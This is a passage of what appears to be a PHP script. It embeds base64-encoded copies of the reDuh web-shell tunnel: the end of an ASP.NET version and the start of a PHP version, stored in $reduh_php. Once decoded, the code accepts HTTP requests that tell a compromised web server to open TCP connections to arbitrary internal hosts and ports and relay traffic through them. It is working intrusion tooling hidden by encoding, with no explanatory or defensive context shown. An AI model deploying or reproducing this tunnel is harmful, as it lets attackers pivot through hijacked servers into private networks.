SBuZXcgTmV0d29ya1N0cmVhbShycGNTb2NrKTsNCgkJCQlydyA9IG5ldyBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyKG15TmV0d29ya1N0cmVhbSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdCk7DQoJCQkJcncuV3JpdGVMaW5lKCJbc2h1dGRvd25dXHJcbiIpOw0KCQkJCXJ3LkNsb3NlKCk7DQoJCQkJcnBjU29jay5DbG9zZSgpOw0KCQkJCVJlc3BvbnNlLldyaXRlKCJbSW5mb10gU2h1dGRvd24gY29tcGxldGVcclxuIik7DQoJCQkJUmVzcG9uc2UuRmx1c2goKTsNCgkJCX0NCgkJCWNhdGNoDQoJCQl7IA0KCQkJCVJlc3BvbnNlLldyaXRlKCJbRXJyb3JdIENhbm5vdCBjb25uZWN0IHRvIHJlRHVoIHNlcnZpY2Ugb24gcG9ydCAiICsgc2VydmljZVBvcnQuVG9TdHJpbmcoKSArICJcclxuIik7DQoJCQkJUmVzcG9uc2UuRmx1c2goKTsNCgkJCX0NCgkJfQ0KCX0NCgllbHNlIGlmIChTdHJpbmcuQ29tcGFyZU9yZGluYWwoYWN0aW9uLCAiY3JlYXRlU29ja2V0IikgPT0gMCkNCgl7DQoJCQ0KCQlpZiAodGFyZ2V0UG9ydCA9PSAtMSB8fCB0YXJnZXRIb3N0ID09IG51bGwgfHwgc29ja2V0TnVtYmVyID09IG51bGwgfHwgc2VydmljZVBvcnQgPT0gLTEpDQoJCXsNCgkJCVJlc3BvbnNlLldyaXRlKCJFcnJvcjogQmFkIHBvcnQgb3IgaG9zdCBvciBzb2NrZXRudW1iZXIgZm9yIGNyZWF0aW5nIG5ldyBzb2NrZXRcclxuIik7DQoJCQlSZXNwb25zZS5GbHVzaCgpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJdHJ5DQoJCQl7DQoJCQkJU3lzdGVtLk5ldC5JUEhvc3RFbnRyeSBob3N0ID0gbnVsbDsNCgkJCQlob3N0ID0gU3lzdGVtLk5ldC5EbnMuUmVzb2x2ZSgiMTI3LjAuMC4xIik7DQoJCQkJU3lzdGVtLk5ldC5JUEFkZHJlc3MgaXBhID0gaG9zdC5BZGRyZXNzTGlzdFswXTsNCgkJCQlTeXN0ZW0uTmV0LklQRW5kUG9pbnQgaXBlID0gbmV3IFN5c3RlbS5OZXQuSVBFbmRQb2ludChpcGEsIHNlcnZpY2VQb3J0KTsNCgkJCQlycGNTb2NrID0gbmV3IFNvY2tldChTeXN0ZW0uTmV0LlNvY2tldHMuQWRkcmVzc0ZhbWlseS5JbnRlck5ldHdvcmssIFNvY2tldFR5cGUuU3RyZWFtLCBQcm90b2NvbFR5cGUuVGNwKTsNCgkJCQlycGNTb2NrLkNvbm5lY3QoaXBlKTsNCgkJCQlteU5ldHdvcmtTdHJlYW0gPSBuZXcgTmV0d29ya1N0cmVhbShycGNTb2NrKTsNCgkJCQlydyA9IG5ldyBTeXN0ZW0uSU8uU3RyZWFtV3JpdGVyKG15TmV0d29ya1N0cmVhbSwgU3lzdGVtLlRleHQuRW5jb2RpbmcuRGVmYXVsdCk7DQoJCQkJcmQgPSBuZXcgU3lzdGVtLklPLlN0cmVhbVJlYWRlcihteU5ldHdvcmtTdHJlYW0sIFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQpOw0KCQkJCXJ3LldyaXRlTGluZSgiW2NyZWF0ZVNvY2tldF0iICsgdGFyZ2V0SG9zdCArICI6IiArIHRhcmdldFBvcnQuVG9TdHJpbmcoKSArICI6IiArIHNvY2tldE51bWJlci5Ub1N0cmluZygpICsgIlxyXG4iKTsNCgkJCQlydy5GbHVzaCgpOw0KCQkJCVJlc3BvbnNlLldyaXRlKHJkLlJlYWRMaW5lKCkgKyAiXHJcbiIpOw0KCQkJCVJlc3BvbnNlLkZsdXNoKCk7DQoJCQkJcnBjU29jay5DbG9zZSgpOw0KCQkJfQ0KCQkJY2F0Y2ggKEV4Y2VwdGlvbiBleCkNCgkJCXsNCgkJCQlSZXNwb25zZS5Xcml0ZSgiW0Vycm9yXUNhbm5vdCBjb25uZWN0IHRvIHJlRHVoIHNlcnZpY2Ugb24gcG9ydCAiICsgc2VydmljZVBvcnQgKyAiXHJcbiIpOw0KCQkJCVJlc3BvbnNlLkZsdXNoKCk7DQoJCQl9DQoJCX0NCgl9DQoJZWxzZSBpZiAoU3RyaW5nLkNvbXBhcmVPcmRpbmFsKGFjdGlvbiwgIm5ld0RhdGEiKSA9PSAwKQ0KCXsNCgkJaWYgKHRhcmdldFBvcnQgPT0gLSAxIHx8IHRhcmdldEhvc3QgPT0gbnVsbCB8fCBkYXRhID09IG51bGwgfHwgc29ja2V0TnVtYmVyID09IG51bGwgfHwgc2VxdWVuY2VOdW1iZXIgPT0gbnVsbCB8fCBzZXJ2aWNlUG9ydCA9PSAtIDEpDQoJCXsNCgkJCVJlc3BvbnNlLldyaXRlKCJFUlJPUjpCYWQgcG9ydCwgb3IgaG9zdCwgb3IgYmxhbmsgZGF0YSBmb3IgcG9zdGluZyBuZXcgZGF0YSIgKyAiXHJcbiIpOw0KCQkJUmVzcG9uc2UuRmx1c2goKTsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCXRyeQ0KCQkJew0KCQkJCVN5c3RlbS5OZXQuSVBIb3N0RW50cnkgaG9zdCA9IG51bGw7DQoJCQkJaG9zdCA9IFN5c3RlbS5OZXQuRG5zLlJlc29sdmUoIjEyNy4wLjAuMSIpOw0KCQkJCVN5c3RlbS5OZXQuSVBBZGRyZXNzIGlwYSA9IGhvc3QuQWRkcmVzc0xpc3RbMF07DQoJCQkJU3lzdGVtLk5ldC5JUEVuZFBvaW50IGlwZSA9IG5ldyBTeXN0ZW0uTmV0LklQRW5kUG9pbnQoaXBhLCBzZXJ2aWNlUG9ydCk7DQoJCQkJcnBjU29jayA9IG5ldyBTb2NrZXQoU3lzdGVtLk5ldC5Tb2NrZXRzLkFkZHJlc3NGYW1pbHkuSW50ZXJOZXR3b3JrLCBTb2NrZXRUeXBlLlN0cmVhbSwgUHJvdG9jb2xUeXBlLlRjcCk7DQoJCQkJcnBjU29jay5Db25uZWN0KGlwZSk7DQoJCQkJbXlOZXR3b3JrU3RyZWFtID0gbmV3IE5ldHdvcmtTdHJlYW0ocnBjU29jayk7DQoJCQkJcncgPSBuZXcgU3lzdGVtLklPLlN0cmVhbVdyaXRlcihteU5ldHdvcmtTdHJlYW0sIFN5c3RlbS5UZXh0LkVuY29kaW5nLkRlZmF1bHQpOw0KCQkJCXJ3LldyaXRlTGluZSgiW25ld0RhdGFdIiArIHRhcmdldEhvc3QgKyAiOiIgKyB0YXJnZXRQb3J0ICsgIjoiICsgc29ja2V0TnVtYmVyICsgIjoiICsgc2VxdWVuY2VOdW1iZXIgKyAiOiIgKyBkYXRhICsgIlxyXG4iKTsNCgkJCQlSZXNwb25zZS5Xcml0ZSgiQ2F1Z2h0IGRhdGEgd2l0aCBzZXF1ZW5jZU51bWJlciAiICsgc2VxdWVuY2VOdW1iZXIgKyAiXHJcbiIpOw0KCQkJCVJlc3BvbnNlLkZsdXNoKCk7DQoJCQkJcncuQ2xvc2UoKTsNCgkJCQlycGNTb2NrLkNsb3NlKCk7DQoJCQl9DQoJCQljYXRjaA0KCQkJew0KCQkJCVJlc3BvbnNlLldyaXRlKCJbRXJyb3JdVW5hYmxlIHRvIGNvbm5lY3QgdG8gcmVEdWguanNwIG1haW4gcHJvY2VzcyBvbiBwb3J0ICIgKyBzZXJ2aWNlUG9ydCArICIuIElzIGl0IHJ1bm5pbmc/IC0+ICIgKyBlICsgIlxyXG4iKTsNCgkJCQlSZXNwb25zZS5GbHVzaCgpOw0KCQkJfQ0KCQl9DQoJfQ0KCWVsc2UgaWYgKFN0cmluZy5Db21wYXJlT3JkaW5hbChhY3Rpb24sICJkZWJ1ZyIpID09IDApDQoJew0KCQlSZXNwb25zZS5Xcml0ZSgiaDM+REVCVUc6IFxyXG4iKTsNCgkJUmVzcG9uc2UuV3JpdGUoIjxoNDpERUJVRyBFTkRcclxuIik7DQoJCVJlc3BvbnNlLkZsdXNoKCk7DQoJfQ0KCWVsc2UNCgl7DQoJCVJlc3BvbnNlLldyaXRlKCJbUmVEdWhdRVJST1I6VW5kZWZpbmVkIGFjdGlvbiBwYXJhbWV0ZXJcclxuIik7DQoJCVJlc3BvbnNlLkZsdXNoKCk7DQoJfQ0KfQ0Kb3ZlcnJpZGUgcHJvdGVjdGVkIHZvaWQgT25Jbml0KEV2ZW50QXJncyBlKQ0Kew0KCUluaXRpYWxpemVDb21wb25lbnQoKTsNCgliYXNlLk9uSW5pdChlKTsNCn0NCnByaXZhdGUgdm9pZCBJbml0aWFsaXplQ29tcG9uZW50KCkNCnsNCiAgICBTZXJ2ZXIuU2NyaXB0VGltZW91dCA9IDMwMDAwMDAwOw0KCXRoaXMuTG9hZCArPSBuZXcgU3lzdGVtLkV2ZW50SGFuZGxlcih0aGlzLlBhZ2VfTG9hZCk7DQp9DQo8L3NjcmlwdD4NCj==";
$reduh_php="PD9waHAKCWVycm9yX3JlcG9ydGluZyhFX0FMTCk7Cglpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIHRydWUpOwoJaW5pX3NldCgnaHRtbF9lcnJvcnMnLCBmYWxzZSk7CgoKCWZ1bmN0aW9uIGVycm9ybG9nKCRsb2cpCgl7CgkJJERFQlVHPUZBTFNFOwoKCQlpZigkREVCVUcpCgkJewoJCQllcnJvcl9sb2coJGxvZyk7CgkJfQoJfQoKCWZ1bmN0aW9uIGNoZWNrX3NvY2tfZXJyb3IoKQoJewoJCSRlcnIgPSBzb2NrZXRfbGFzdF9lcnJvcigpOwoKCQlpZigkZXJyPjApCgkJewoJCQllcnJvcmxvZygiQ0hFQ0tfU09DS19FUlJPUjogIi5zb2NrZXRfc3RyZXJyb3Ioc29ja2V0X2xhc3RfZXJyb3IoKSkpOwoJCQlzb2NrZXRfY2xlYXJfZXJyb3IoKTsKCQl9Cgl9CgoJZnVuY3Rpb24gaGFuZGxlX2V4Y2VwdGlvbnMoJiRlcykKCXsKCQlmb3JlYWNoKCRlcyBhcyAkcykKCQl7CgkJCWVycm9ybG9nKCJCQUNLRU5EOiBHb3QgZXhjZXB0aW9uIG9uIHNvY2tldCAiLiRzKTsKCQl9Cgl9CgoJZnVuY3Rpb24gc2VuZF9jb21tYW5kKCRwb3J0LCRkYXRhKQoJewoJCSRzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX0RHUkFNLCBTT0xfVURQKTsKCQkkcmV0ID0gc29ja2V0X3NlbmR0bygkc29jaywgJGRhdGEsIHN0cmxlbigkZGF0YSksIDB4MTAwLCAnMTI3LjAuMC4xJywgJHBvcnQpOwoKCQllcnJvcmxvZygiRlJPTlRFTkQ6IHNlbmRfY29tbWFuZCAnIi4kZGF0YS4iJyBvbiBwb3J0ICIuJHBvcnQuIiByZXR1cm5lZCAiLiRyZXQpOwoKCQlyZXR1cm4gJHJldDsKCX0KCglmdW5jdGlvbiBnZXRfc29ja2V0X2tleSgmJHNvY2tldHMsJiRyZWFkc29ja2V0KQoJewoJCWZvcmVhY2goJHNvY2tldHMgYXMgJGtleSA9PiAmJHZhbHVlKQoJCXsKCQkJaWYoJHZhbHVlID09PSAkcmVhZHNvY2tldCkKCQkJewoJCQkJcmV0dXJuICRrZXk7CgkJCX0KCQl9CgoJCXJldHVybiBmYWxzZTsKCX0KCglmdW5jdGlvbiBoYW5kbGVfYWRtaW4oJiRhZG1pbiwgJiRzb2NrZXRzLCAmJGNsaWVudGRhdGEpCgl7CgkJJGZyb20gPSAnJzsKCQkkcnBvcnQgPSAwOwoJCXNvY2tldF9yZWN2ZnJvbSgkYWRtaW4sICRidWYsIDQwOTYsIDAsICRmcm9tLCAkcnBvcnQpOwoJCgkJI2Vycm9ybG9nKCJCQUNLRU5EOiBBRE1JTiBzb2NrZXRzPSciLnZhcl9leHBvcnQoJHNvY2tldHMsVFJVRSkuIiciKTsKCQkjZXJyb3Jsb2coIkJBQ0tFTkQ6IEFETUlOIFJlY2VpdmVkICciLiRidWYuIicgZnJvbSAiLiRmcm9tKTsKCgkJaWYoJGJ1ZiA9PSAnZGllJykKCQl7CgkJCXJldHVybiB0cnVlOwoJCX0KCQllbHNlCgkJewoJCQkkcGFydHMgPSBzcGxpdCgiOiIsICRidWYpOwoKCQkJaWYoJHBhcnRzWzBdID09ICdjcmVhdGVTb2NrZXQnKQoJCQl7CgkJCQkkc29ja2V0TnVtYmVyID0gJHBhcnRzWzFdOwoJCQkJJHRhcmdldEhvc3QgPSAkcGFydHNbMl07CgkJCQkkdGFyZ2V0UG9ydCA9ICRwYXJ0c1szXTsKCgkJCQllcnJvcmxvZygiQkFDS0VORDogY3JlYXRlU29ja2V0IHdpdGggc29ja2V0TnVtYmVyICIuJHNvY2tldE51bWJlci4iLCBob3N0ICIuJHRhcmdldEhvc3QuIiwgcG9ydCAiLiR0YXJnZXRQb3J0KTsKCgkJCQkkc29ja2V0ID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCgkJCQlpZigkc29ja2V0KQoJCQkJewoJCQkJCSRyZXN1bHQgPSBzb2NrZXRfY29ubmVjdCgkc29ja2V0LCR0YXJnZXRIb3N0LCAkdGFyZ2V0UG9ydCk7CgoJCQkJCWlmKCRyZXN1bHQpCgkJCQkJewoJCQkJCQllcnJvcmxvZygiQkFDS0VORDogQ29ubmVjdGlvbiBzdWNjZWVkZWQiKTsKCgkJCQkJCSRrZXkgPSAkdGFyZ2V0SG9zdC4iOiIuJHRhcmdldFBvcnQuIjoiLiRzb2NrZXROdW1iZXI7CgkJCQkJCSRzb2NrZXRzWyRrZXldID0gJHNvY2tldDsKCQkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IEFETUlOIHNvY2tldHMgYXJlIG5vdyAnIi52YXJfZXhwb3J0KCRzb2NrZXRzLFRSVUUpLiInIGFmdGVyIGFkZGluZyBzb2NrZXQgIi4kc29ja2V0LiIgd2l0aCBrZXkgPSciLiRrZXkuIiciKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsKCQkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IENvbm5lY3QgZmFpbGVkIik7CgkJCQkJfQoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBDYW5ub3QgY3JlYXRlIHNvY2tldCIpOwoJCQkJfQoJCQl9CgkJCWVsc2UgaWYoJHBhcnRzWzBdID09ICduZXdEYXRhJykKCQkJewoJCQkJJHNvY2tldE51bWJlciA9ICRwYXJ0c1sxXTsKCQkJCSR0YXJnZXRIb3N0ID0gJHBhcnRzWzJdOwoJCQkJJHRhcmdldFBvcnQgPSAkcGFydHNbM107CgoJCQkJJHNvY2trZXkgPSAkdGFyZ2V0SG9zdC4iOiIuJHRhcmdldFBvcnQuIjoiLiRzb2NrZXROdW1iZXI7CgkJCQkkc29ja2V0ID0gJHNvY2tldHNbJHNvY2trZXldOwoJCQkJCgkJCQlpZigkcGFydHNbNF0gPT0gJyonKQoJCQkJewoJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBuZXdEYXRhLCBDbGllbnQgcmVxdWVzdGVkIGNsb3Npbmcgb2Ygc29ja2V0ICIuJHNvY2tldC4iIHdpdGgga2V5ICIuJHNvY2trZXkpOwoJCQkJCXNvY2tldF9jbG9zZSgkc29ja2V0KTsKCQkJCQl1bnNldCgkc29ja2V0c1skc29ja2tleV0pOwoJCQkJfQoJCQkJZWxzZSBpZighJHNvY2tldCkKCQkJCXsKCQkJCQllcnJvcmxvZygiQkFDS0VORDogbmV3RGF0YSwgQ2xpZW50IGF0dGVtcHRlZCB0byBzZW5kICciLiRwYXJ0c1s0XS4iJyB0byAiLiRzb2Nra2V5KTsKCQkJCQllcnJvcmxvZygiQkFDS0VORDogbmV3RGF0YSwgYXZhaWxhYmxlIHNvY2tldHMgYXJlOiIudmFyX2V4cG9ydCgkc29ja2V0cyxUUlVFKSk7CgoJCQkJCWFycmF5X3B1c2goJGNsaWVudGRhdGEsJ1tkYXRhXScuJHNvY2trZXkuIjoqIik7CgkJCQl9CgkJCQkKCQkJCWVsc2UKCQkJCXsKCQkJCQkkZGF0YSA9IGJhc2U2NF9kZWNvZGUoJHBhcnRzWzRdKTsKCQkJCQkkZGF0YSA9IHN0cl9yZXBsYWNlKCIgIiwgIisiLCAkZGF0YSk7CgkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IG5ld0RhdGEgd2l0aCBzb2NrZXROdW1iZXIgIi4kc29ja2V0TnVtYmVyLiIsIGhvc3QgIi4kdGFyZ2V0SG9zdC4iLCBwb3J0ICIuJHRhcmdldFBvcnQuIiwgZGF0YSAnIi4kZGF0YS4iJyIpOwoKCQkJCQlpZigkc29ja2V0KQoJCQkJCXsKCQkJCQkJJHJldCA9IHNvY2tldF9zZW5kKCRzb2NrZXQsICRkYXRhLCBzdHJsZW4oJGRhdGEpLCAwKTsKCQkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IG5ld0RhdGEsIHNvY2tldCBzZW5kIHRvICciLiRzb2Nra2V5LiIgcmV0dXJuZWQgIi4kcmV0KTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsKCQkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IG5ld0RhdGEsIFVua25vd24gc29ja2V0ICIuJHNvY2trZXkpOwoJCQkJCX0KCQkJCX0KCgkJCX0KCQkJZWxzZSBpZigkcGFydHNbMF0gPT0gJ2dldERhdGEnKQoJCQl7CgkJCQkkdmFsID0gYXJyYXlfc2hpZnQoJGNsaWVudGRhdGEpOwoKCQkJCWlmKCR2YWwpCgkJCQl7CgkJCQkJJHJldCA9IHNvY2tldF9zZW5kdG8oJGFkbWluLCAkdmFsLCBzdHJsZW4oJHZhbCksIDAsICRmcm9tLCAkcnBvcnQpOwoJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBnZXREYXRhLCBTZW50ICIuJHJldC4iIGJ5dGVzICciLiR2YWwuIiciKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQkkdmFsID0gJ1tOT19ORVdfREFUQV0nOwoJCQkJCSRyZXQgPSBzb2NrZXRfc2VuZHRvKCRhZG1pbiwgJHZhbCwgc3RybGVuKCR2YWwpLCAwLCAkZnJvbSwgJHJwb3J0KTsKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBVbmtub3duIHBhcnQgJyIuJHBhcnRzWzBdLiInIik7CgkJCX0KCQl9CgoJCXJldHVybiBmYWxzZTsKCX0KCgoJc2V0X3RpbWVfbGltaXQoMCk7CgoJaWYoYXJyYXlfa2V5X2V4aXN0cygnYWN0aW9uJywkX1JFUVVFU1QpKQoJewoJCSRhY3Rpb24gPSAkX1JFUVVFU1RbJ2FjdGlvbiddOwoKCQlpZigkYWN0aW9uID09ICdjaGVja1BvcnQnKQoJCXsKCQkJJHBvcnQgPSAkX1JFUVVFU1RbJ3BvcnQnXTsKCgkJCSRzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX0RHUkFNLCBnZXRwcm90b2J5bmFtZSgndWRwJykpOwoJCQlpZigkc29jaykKCQkJewoJCQkJJHJlc3VsdCA9IHNvY2tldF9iaW5kKCRzb2NrLCAnMTI3LjAuMC4xJywgJHBvcnQpOwoJCQkJaWYoJHJlc3VsdCkKCQkJCXsKCQkJCQllcnJvcmxvZygiRlJPTlRFTkQ6IGNoZWNrUG9ydCwgQ291bGQgYmluZCB0byBwb3J0Ii4kcG9ydC4iXG4iKTsKCQkJCQllY2hvICJTdWNjZXNzXG4iOwoJCQkJfQoJCQkJZWxzZQoJCQkJewoJCQkJCWVycm9ybG9nKCJGUk9OVEVORDogY2hlY2tQb3J0LCBGQUlMRUQgYmluZCB0byBwb3J0Ii4kcG9ydC4iXG4iKTsKCQkJCQllY2hvICJDYW5ub3QgYmluZCBzb2NrZXQgdG8gMTI3LjAuMC4xOiIuJHBvcnQuIlxuIjsKCQkJCX0KCQkJfQoJCQllbHNlCgkJCXsKCQkJCWVjaG8gIkZST05URU5EOiBjaGVja1BvcnQsIENhbm5vdCBjcmVhdGUgc29ja2V0XG4iOwoJCQl9CgoJCQlzb2NrZXRfY2xvc2UoJHNvY2spOwoKCQl9CgkJZWxzZSBpZigkX1JFUVVFU1RbJ2FjdGlvbiddID09ICdzdGFydFJlRHVoJykKCQl7CgkJCSRzb2NrZXRzID0gYXJyYXkoKTsKCgkJCSRjbGllbnRkYXRhID0gYXJyYXkoKTsKCgkJCSRwb3J0ID0gJF9SRVFVRVNUWydzZXJ2aWNlUG9ydCddOwoJCQkkYWRtaW4gPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfREdSQU0sIGdldHByb3RvYnluYW1lKCd1ZHAnKSk7CgkJCWlmICggISBzb2NrZXRfYmluZCgkYWRtaW4sIDAsICRwb3J0KSApCgkJCXsKCQkJCWVjaG8gIkNhbm5vdCBiaW5kIGFkbWluIHNvY2tldFxuIjsKCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBzdGFydFJlRHVoLCBGQUlMRUQgdG8gYmluZCBhZG1pbiBzb2NrZXQgb24gcG9ydCAiLiRwb3J0KTsKCQkJCWV4aXQoKTsKCQkJfQoJCQllbHNlCgkJCXsKCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBzdGFydFJlRHVoLCBBZG1pbiBwb3J0ICIuJGFkbWluLiIgYm91bmQgb24gcG9ydCAiLiRwb3J0KTsKCQkJfQoKCQkKCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6IFN0YXJ0aW5nIHJlZHVoIGxvb3AiKTsKCgkJCSRkb25lPWZhbHNlOwoKCQkJd2hpbGUoISRkb25lKQoJCQl7CgkJCQkkcnMgPSBhcnJheSgkYWRtaW4pICsgJHNvY2tldHM7CgkJCQkkd3MgPSBOVUxMOwoJCQkJJGVzID0gYXJyYXkoJGFkbWluKSArICRzb2NrZXRzOwoKCQkJCSNlcnJvcmxvZygiRG9pbmcgc2VsZWN0IHdpdGggcmVhZCBzb2NrZXRzICIuY291bnQoJHJzKS4iICciLnZhcl9leHBvcnQoJHJzLFRSVUUpLiInIik7CgoJCQkJJG4gPSBzb2NrZXRfc2VsZWN0KCRycywgJHdzLCAkZXMsMCwxMDAwMDAwKTsgCgoJCQkJY2hlY2tfc29ja19lcnJvcigpOwoKCQkJCWlmKGNvdW50KCRlcyk+MCkKCQkJCXsKCQkJCQloYW5kbGVfZXhjZXB0aW9ucygkZXMpOwoJCQkJfQoKCQkJCWlmKCRuID09PSBmYWxzZSkKCQkJCXsKCQkJCQllcnJvcmxvZygiQkFDS0VORDogc29ja2V0X3NlbGVjdDogIi5zb2NrZXRfc3RyZXJyb3Ioc29ja2V0X2xhc3RfZXJyb3IoKSkpOwoJCQkJfQoJCQkJZWxzZSBpZigkbiA+IDApCgkJCQl7CgkJCQkJI2Vycm9ybG9nKCJCQUNLRU5EOiBzZWxlY3QgcmV0dXJuZWQgbj0iLiRuKTsKCgkJCQkJZm9yZWFjaCAoJHJzIGFzICYkcmVhZHNvY2tldCkKCQkJCQl7CgkJCQkJCSNlcnJvcmxvZygiQkFDS0VORDogUmVhZCBmb3Igc29ja2V0ICIuJHJlYWRzb2NrZXQpOwoJCQkJCQlpZigkcmVhZHNvY2tldCA9PT0gJGFkbWluKQoJCQkJCQl7CgkJCQkJCQkkZG9uZSA9IGhhbmRsZV9hZG1pbigkYWRtaW4sJHNvY2tldHMsJGNsaWVudGRhdGEpOwkJCQkKCQkJCQkJfQoJCQkJCQllbHNlICNJdHMgYSBub24tYWRtaW4gc29ja2V0CgkJCQkJCXsKCQkJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiAqKiogRGF0YSBmb3IgY3JlYXRlZCBzb2NrZXQgIi4kcmVhZHNvY2tldCk7CQoKCQkJCQkJCSRzb2Nra2V5ID0gZ2V0X3NvY2tldF9rZXkoJHNvY2tldHMsJHJlYWRzb2NrZXQpOwoKCQkJCQkJCWlmKCRzb2Nra2V5KQoJCQkJCQkJewoJCQkJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiAqKiogU29ja2V0IGtleSBpcyAiLiRzb2Nra2V5KTsKCgkJCQkJCQkJJGRhdGEgPSAnJzsKCQkJCQkJCQkkcmV0ID0gc29ja2V0X3JlY3YoJHJlYWRzb2NrZXQsICRkYXRhLDEwMjQqMTAyNCwwKTsKCgkJCQkJCQkJZXJyb3Jsb2coIkJBQ0tFTkQ6ICoqKiByZWN2IHJldHVybmVkIGRhdGEgJyIuJGRhdGEuIicgd2l0aCByZXQ9Ii4kcmV0LiIgb24gc29ja2V0ICIuJHJlYWRzb2NrZXQpOwoKCgkJCQkJCQkJaWYoJGRhdGEgPT0gTlVMTCkKCQkJCQkJCQl7CgkJCQkJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiAqKiogU29ja2V0ICIuJHJlYWRzb2NrZXQuIiBoYXMgYmVlbiBjbG9zZWQiKTsKCQkJCQkJCQkJYXJyYXlfcHVzaCgkY2xpZW50ZGF0YSwiW2RhdGFdIi4kc29ja2tleS4iOioiKTsKCQkJCQkJCQkJc29ja2V0X2Nsb3NlKCRyZWFkc29ja2V0KTsKCgkJCQkJCQkJCXVuc2V0KCRzb2NrZXRzWyRzb2Nra2V5XSk7CgkJCQkJCQkJfQoJCQkJCQkJCWVsc2UKCQkJCQkJCQl7CgkJCQkJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiAqKiogQWRkZWQgZGF0YSB0byBxdWV1ZSIpOwoJCQkJCQkJCQlhcnJheV9wdXNoKCRjbGllbnRkYXRhLCJbZGF0YV0iLiRzb2Nra2V5LiI6Ii5iYXNlNjRfZW5jb2RlKCRkYXRhKSk7CgkJCQkJCQkJfQoJCQkJCQkJfQoJCQkJCQkJZWxzZQoJCQkJCQkJewoJCQkJCQkJCWVycm9ybG9nKCJCQUNLRU5EOiBVbmtub3duIHNvY2tldCIpOwoJCQkJCQkJfQoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQkJI3NsZWVwKDEpOwoJCQl9CgoJCQllcnJvcmxvZygiQkFDS0VORDogcmVkdWggaXMgcXVpdGluZyIpOwoKCQkJc29ja2V0X2Nsb3NlKCRhZG1pbik7CgkJfQoJCWVsc2UgaWYoJF9SRVFVRVNUWydhY3Rpb24nXSA9PSAna2lsbFJlRHVoJykKCQl7CgkJCSRwb3J0ID0gJF9SRVFVRVNUWydzZXJ2aWNlUG9ydCddOwoKCQkJc2VuZF9jb21tYW5kKCRwb3J0LCJkaWUiKTsKCgkJCWVjaG8gIlN1Y2Nlc3NcbiI7CgkJfQoJCWVsc2UgaWYoJF9SRVFVRVNUWydhY3Rpb24nXSA9PSAnZ2V0RGF0YScpCgkJewoJCQkkc2VydmljZVBvcnQgPSAkX1JFUVVFU1RbJ3NlcnZpY2VQb3J0J107CgoJCQkkZG9uZSA9IGZhbHNlOwoJCQkkcCA9IDMwMDAwOwoKCQkJd2hpbGUoISRkb25lKQoJCQl7CgkJCQkkYWRtaW4gPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfREdSQU0sIGdldHByb3RvYnluYW1lKCd1ZHAnKSk7CgkJCQlpZiAoJGFkbWluICYmIHNvY2tldF9iaW5kKCRhZG1pbiwgMCwgJHApICkKCQkJCXsKCQkJCQkkZG9uZSA9IHRydWU7CgkJCQl9CgkJCQllbHNlCgkJCQl7CgkJCQkJJHArKzsKCQkJCX0KCQkJfQoKCQkJaWYoJGFkbWluKQoJCQl7CgkJCQkkZGF0YSA9ICdnZXREYXRhJzsKCQkJCSRyZXQgPSBzb2NrZXRfc2VuZHRvKCRhZG1pbiwgJGRhdGEsIHN0cmxlbigkZGF0YSksIDB4MTAwLCAnMTI3LjAuMC4xJywgJHNlcnZpY2VQb3J0KTsKCQkJCSNlcnJvcmxvZygiRlJPTlRFTkQ6IFNlbmRpbmcgZ2V0RGF0YSBvbiBwb3J0ICIuJHAuIiByZXQgaXMgIi4kcmV0KTsKCgkJCQkkcnMgPSBhcnJheSgkYWRtaW4pOwoJCQkJJHdzID0gTlVMTDsKCQkJCSRlcyA9IE5VTEw7CgkJCQkkbiA9IHNvY2tldF9zZWxlY3QoJHJzLCR3cywkZXMsMSwwKTsKCgkJCQlpZigkbiA+IDApCgkJCQl7CgkJCQkJJHJlY3YgPSBzb2NrZXRfcmVhZCgkYWRtaW4sNjQqMTAyNCk7CgkJCQkJI2Vycm9ybG9nKCJGUk9OVEVORDogR290IGRhdGEgZnJvbSBiYWNrZW5kOiAnIi4kcmVjdi4iJyIpOwoJCQkJCWVjaG8gJHJlY3YuIlxuIjsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQllY2hvICJbTk9fTkVXX0RBVEFdXG4iOwoJCQkJfQoKCQkJCXNvY2tldF9jbG9zZSgkYWRtaW4pOwoJCQl9CgkJCWVsc2UKCQkJCWVjaG8gIltOT19ORVdfREFUQV1cbiI7CgkJfQoJCWVsc2UgaWYoJF9SRVFVRVNUWydhY3Rpb24nXSA9PSAnY3JlYXRlU29ja2V0JykKCQl7CgkJCSRzZXJ2aWNlUG9ydCA9ICRfUkVRVUVTVFsnc2VydmljZVBvcnQnXTsKCQkJJHNvY2tldE51bWJlciA9ICRfUkVRVUVTVFsnc29ja2V0TnVtYmVyJ107CgkJCSR0YXJnZXRIb3N0I